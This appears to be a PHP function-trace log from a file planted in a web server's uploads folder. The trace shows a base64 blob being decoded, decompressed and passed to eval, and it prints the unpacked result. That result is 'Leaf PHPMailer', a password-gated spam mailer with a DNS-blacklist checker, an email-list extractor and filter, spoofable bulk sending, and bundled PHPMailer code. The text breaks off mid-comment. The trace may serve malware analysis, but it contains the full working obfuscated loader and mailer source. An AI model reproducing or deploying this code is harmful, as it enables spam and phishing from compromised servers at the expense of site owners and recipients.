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\')));' /var/www/html/uploads/ridsaexnlu.php 291 0
3 112 0 0.010411 602664 base64_decode 0 /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code 1 1 'eJztfXl/2zbS8N/bT8Go7lJKdPjIVcdy4tjOxu86iWs77e5je1VKoi02EqmSVGz3eD/7OwcAAiRISY67x/Oufm0skcBgMAAGg8EcX32V+EkSRGEvSb04rTdefOXHcRT3Yn8axWkQXtVX4Vnip700mPi9cTAJUnoUhEEPHtdrE38Sxbf8ptZsrcG7r1bGvnd55n72Y4TtXnRr6+3ntRfy+bXfT4LUx+f4YOIFYz9uT6+hBNQVGA2ioe90ncnwSb3Xe3NwuN/rYbOX9Qf+ZJre1lemXpJcR/Gw4Xjh0FnpneyfnBx8eH+mA7hwHnSdrOSvXznwCS6depAg8iu94/3vPu6fnJ65WMa9kLByj52uDsVhMPgpa1Ur/oIK/07/+uPE12pP4yBMndrWNPYdbxxchd2BH6Z+vL11GcUTZ+Kno2jYnUZJun0koG06W0E4naVOejv1u65sxHVCbyJ+u9tGkWTWh5Fxnc/eeAY/t7fhfQfhwx9oeLv2QuHj3wTpC/lD'
3 112 1 0.010684 655944
3 112 R 'x��}y�6����O���RJt��U�r�����:�k;��c{UJ�-6\022��Tl�x?�;\a\000\002$HI����~m,��`0\000\006��\034_}��I\022Da/I�8�7^|��q\024�b\032�i\020^�W�Y⧽4���q0\tRz\024�A\017\036�k\023\022ŷ���l����Vƾwy�~�c��^tk���\027��O����`�\005c?nO��\004�\025\030\r���t���I��{sp���a���\a�d���W�^�\\G��x��Y�쟜\034|x�\003�p\036t���_9�\t.�z� �+���>��Xƽ��r���\016�a0�)kU+��\n�N�����jO� L���4�\035o\034\\�݁\037�~��u\031�\023g⧣h؝FI�}$�m:[A8��Nz;���l�uBo"~��F�dև�q���x\006?���}\a��\037hx��B���\004�\v�C���Wj�\\�0h��8J|�(_}u9'
3 113 0 0.011606 655912 gzuncompress 0 /var/www/html/uploads/ridsaexnlu.php(291) : eval()'d code 1 1 'x��}y�6����O���RJt��U�r�����:�k;��c{UJ�-6\022��Tl�x?�;\a\000\002$HI����~m,��`0\000\006��\034_}��I\022Da/I�8�7^|��q\024�b\032�i\020^�W�Y⧽4���q0\tRz\024�A\017\036�k\023\022ŷ���l����Vƾwy�~�c��^tk���\027��O����`�\005c?nO��\004�\025\030\r���t���I��{sp���a���\a�d���W�^�\\G��x��Y�쟜\034|x�\003�p\036t���_9�\t.�z� �+���>��Xƽ��r���\016�a0�)kU+��\n�N�����jO� L���4�\035o\034\\�݁\037�~��u\031�\023g⧣h؝FI�}$�m:[A8��Nz;���l�uBo"~��F�dև�q���x\006?���}\a��\037hx��B���\004�\v�C���Wj�\\�0h��8J|�(_}u9'
3 113 1 0.013189 823880
3 113 R '\n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set("memory_limit",-1);\n\n$leaf[\'version\']="2.8";\n$leaf[\'website\']="leafmailer.pw";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST[\'pass\']) and $_REQUEST[\'pass\'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print "<pre align=center><form method=post>Password: <input type=\'password\' name=\'pass\'><input type=\'
3 114 0 0.017836 1440648 eval 1 '\n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set("memory_limit",-1);\n\n$leaf[\'version\']="2.8";\n$leaf[\'website\']="leafmailer.pw";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST[\'pass\']) and $_REQUEST[\'pass\'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print "<pre align=center><form method=post>Password: <input type=\'password\' name=\'pass\'><input type=\'submit\' value=\'>>\'></form></pre>";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode(\'@\', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);\n $text = str_replace("[-email-]", $email, $text);\n $text = str_replace("[-emailuser-]", $emailuser, $text);\n $text = str_replace("[-emaildomain-]", $emaildomain, $text);\n $text = str_replace("[-randomletters-]", randString(\'abcdefghijklmnopqrstuvwxyz\'), $text);\n $text = str_replace("[-randomstring-]", randString(\'abcdefghijklmnopqrstuvwxyz0123456789\'), $text);\n $text = str_replace("[-randomnumber-]", randString(\'0123456789\'), $text);\n $text = str_replace("[-randommd5-]", md5(randString(\'abcdefghijklmnopqrstuvwxyz0123456789\')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = \'\';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET[\'check_ip\'])){\n if (isset($_GET[\'host\'])){\n $_GET[\'host\']=explode(",", $_GET[\'host\']);\n foreach ($_GET[\'host\'] as $host) {\n if (checkdnsrr($_GET[\'check_ip\'] . "." . $host . ".", "A")) $check= "<font color=\'red\'> Listed</font>";\n else $check= "<font color=\'green\'> Clean</font>";\n print \'document.getElementById("\'. $host.\'").innerHTML = "\'.$check.\'";\';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n "all.s5h.net",\n "b.barracudacentral.org",\n "bl.spamcop.net",\n "blacklist.woody.ch",\n "bogons.cymru.com",\n "cbl.abuseat.org",\n "cdl.anti-spam.org.cn",\n "combined.abuse.ch",\n "db.wpbl.info",\n "dnsbl-1.uceprotect.net",\n "dnsbl-2.uceprotect.net",\n "dnsbl-3.uceprotect.net",\n "dnsbl.anticaptcha.net",\n "dnsbl.dronebl.org",\n "dnsbl.inps.de",\n "dnsbl.sorbs.net",\n "drone.abuse.ch",\n "duinv.aupads.org",\n "dul.dnsbl.sorbs.net",\n "dyna.spamrats.com",\n "dynip.rothen.com",\n "http.dnsbl.sorbs.net",\n "ips.backscatterer.org",\n "ix.dnsbl.manitu.net",\n "korea.services.net",\n "misc.dnsbl.sorbs.net",\n "noptr.spamrats.com",\n "orvedb.aupads.org",\n "pbl.spamhaus.org",\n "proxy.bl.gweep.ca",\n "psbl.surriel.com",\n "relays.bl.gweep.ca",\n "relays.nether.net",\n "sbl.spamhaus.org",\n "short.rbl.jp",\n "singular.ttk.pte.hu",\n "smtp.dnsbl.sorbs.net",\n "socks.dnsbl.sorbs.net",\n "spam.abuse.ch",\n "spam.dnsbl.anonmails.de",\n "spam.dnsbl.sorbs.net",\n "spam.spamrats.com",\n "spambot.bls.digibase.ca",\n "spamrbl.imp.ch",\n "spamsources.fabel.dk",\n "ubl.lashback.com",\n "ubl.unsubscore.com",\n "virus.rbl.jp",\n "web.dnsbl.sorbs.net",\n "wormrbl.imp.ch",\n "xbl.spamhaus.org",\n "z.mailspike.net",\n "zen.spamhaus.org",\n "zombie.dnsbl.sorbs.net",\n ];\n $reverse_ip = implode(".", array_reverse(explode(".", $_GET[\'check_ip\'])));\n $dnsT = count($dnsbl_lookup);\n leafheader();\n print \'<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>\';\n Print "Checking <b>".$_GET[\'check_ip\']."</b> in <b>$dnsT</b> anti-spam databases:<br>";\n $dnsN="";\n print \'<table >\';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host="";\n $hosts="";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print "<tr> <td>$host</td> <td id=\'$host\'>Checking ..</td></tr>";\n $hosts .="$host,";\n }\n }\n $dnsN.="<script src=\'?check_ip=$reverse_ip&host=".$hosts."\' type=\'text/javascript\'></script>";\n }\n\n print \'</table></div>\';\n print $dnsN;\n exit;\n}\nif(isset($_GET[\'emailfilter\'])){\n\n if(!empty($_FILES[\'fileToUpload\'][\'tmp_name\'])){\n $_POST[\'emailList\']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); \n }\n $_POST[\'emailList\']=strtolower($_POST[\'emailList\']);\n if($_GET[\'emailfilter\']=="ifram"){\n if ($_POST[\'resulttype\'] == "download"){\n header("Content-Description: File Transfer"); \n header("Content-Type: application/octet-stream"); \n header("Content-Disposition: attachment; filename=emails".time().".txt");\n }\n else {\n header("Content-Type: text/plain");\n }\n if($_POST[\'submit\']=="extract"){\n $pattern = \'/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}/\';\n preg_match_all($pattern, $_POST[\'emailList\'], $matches);\n foreach ($matches[0] as $email) {\n print $email."\\n";\n }\n }\n elseif ($_POST[\'submit\']=="filter") {\n $emails=explode("\\n", $_POST[\'emailList\']);\n $keywords=explode("\\n", strtolower($_POST[\'keywords\']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email."\\n";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print \'<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>\';\n print \'\n <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\\\'\\\'>\n <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> \n or\n\n <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>\n <div class="col-lg-12">\n <div class="radio">\n <label>\n <input type="radio" name="resulttype" id="resulttype" value="here" checked="">\n Show Result in this page\n </label>\n </div>\n <div class="radio">\n <label>\n <input type="radio" name="resulttype" id="resulttype" value="download">\n Download Result (for big numbers)\n </label>\n </div>\n </div>\n <legend><h4>Extract Email</h4></legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>\n <legend><h4>Filter Emails</h4></legend>\n <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com\nhotmail.com\nyahoo.com\n.co.uk</textarea><br>\n\n <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>\n </form>\n <label >Result </label>\n <iframe style="border:none;width:100%;" name="my-iframe" src="?emailfilter=ifram" ></iframe>\n \';\n exit;\n\n}\n$html="checked";\n$utf8="selected";\n$bit8="selected";\n\nif($_POST[\'action\']=="send" or $_POST[\'action\']=="score"){\n\n $senderEmail=leafTrim($_POST[\'senderEmail\']);\n $senderName=leafTrim($_POST[\'senderName\']);\n $replyTo=leafTrim($_POST[\'replyTo\']);\n $subject=leafTrim($_POST[\'subject\']);\n $emailList=leafTrim($_POST[\'emailList\']);\n $messageType=leafTrim($_POST[\'messageType\']);\n $messageLetter=leafTrim($_POST[\'messageLetter\']);\n $encoding = $_POST[\'encode\'];\n $charset = $_POST[\'charset\'];\n $html="";\n $utf8="";\n $bit8="";\n\n if($messageType==2) $plain="checked";\n else $html="checked";\n\n if($charset=="ISO-8859-1") $iso="selected";\n else $utf8="selected";\n\n if($encoding=="7bit") $bit7="selected";\n elseif($encoding=="binary") $binary="selected";\n elseif($encoding=="base64") $base64="selected";\n elseif($encoding=="quoted-printable") $quotedprintable="selected";\n else $bit8="selected";\n\n\n\n}\nif($_POST[\'action\']=="view"){\n\t$viewMessage=leafTrim($_POST[\'messageLetter\']);\n\t$viewMessage=leafClear($viewMessage,"user@domain.com");\n\tif ($_POST[\'messageType\']==2){\n\t\tprint "<pre>".htmlspecialchars($viewMessage)."</pre>";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST[\'senderEmail\'])){\n $senderEmail="support@".str_replace("www.", "", $_SERVER[\'HTTP_HOST\']);\n if (!leafMailCheck($senderEmail)) $senderEmail="";\n}\n\nclass PHPMailer\n{\n /**\n * The PHPMailer Version number.\n * @var string\n */\n public $Version = \'5.2.28\';\n\n /**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n */\n public $Priority = null;\n\n /**\n * The character set of the message.\n * @var string\n */\n public $CharSet = \'iso-8859-1\';\n\n /**\n * The MIME Content-type of the message.\n * @var string\n */\n public $ContentType = \'text/plain\';\n\n /**\n * The message encoding.\n * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".\n * @var string\n */\n public $Encoding = \'8bit\';\n\n /**\n * Holds the most recent mailer error message.\n * @var string\n */\n public $ErrorInfo = \'\';\n\n /**\n * The From email address for the message.\n * @var string\n */\n public $From = \'root@localhost\';\n\n /**\n * The From name of the message.\n * @var string\n */\n public $FromName = \'Root User\';\n\n /**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as \'MAIL FROM\' in smtp mode.\n * @var string\n */\n public $Sender = \'\';\n\n /**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it\'s the receiver\'s job (RFC5321 section 4.4), so this no longer does anything.\n * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference\n */\n public $ReturnPath = \'\';\n\n /**\n * The Subject of the message.\n * @var string\n */\n public $Subject = \'\';\n\n /**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n */\n public $Body = \'\';\n\n /**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n */\n public $AltBody = \'\';\n\n /**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator\n * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/\n * @link http://kigkonsult.se/iCalcreator/\n * @var string\n */\n public $Ical = \'\';\n\n /**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n */\n protected $MIMEBody = \'\';\n\n /**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n */\n protected $MIMEHeader = \'\';\n\n /**\n * Extra headers that createHeader() doesn\'t fold in.\n * @var string\n * @access protected\n */\n protected $mailHeader = \'\';\n\n /**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n */\n public $WordWrap = 0;\n\n /**\n * Which method to use to send mail.\n * Options: "mail", "sendmail", or "smtp".\n * @var string\n */\n public $Mailer = \'mail\';\n\n /**\n * The path to the sendmail program.\n * @var string\n */\n public $Sendmail = \'/usr/sbin/sendmail\';\n\n /**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail\'s "-oi -f" options.\n * @var boolean\n */\n public $UseSendmailOptions = true;\n\n /**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n */\n public $PluginDir = \'\';\n\n /**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n */\n public $ConfirmReadingTo = \'\';\n\n /**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER[\'SERVER_NAME\'], gethostname(), php_uname(\'n\'), or the value\n * \'localhost.localdomain\'.\n * @var string\n */\n public $Hostname = \'\';\n\n /**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format "<id@domain>",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https://tools.ietf.org/html/rfc5322#section-3.6.4\n * @var string\n */\n public $MessageID = \'\';\n\n /**\n * The message Date to be used in 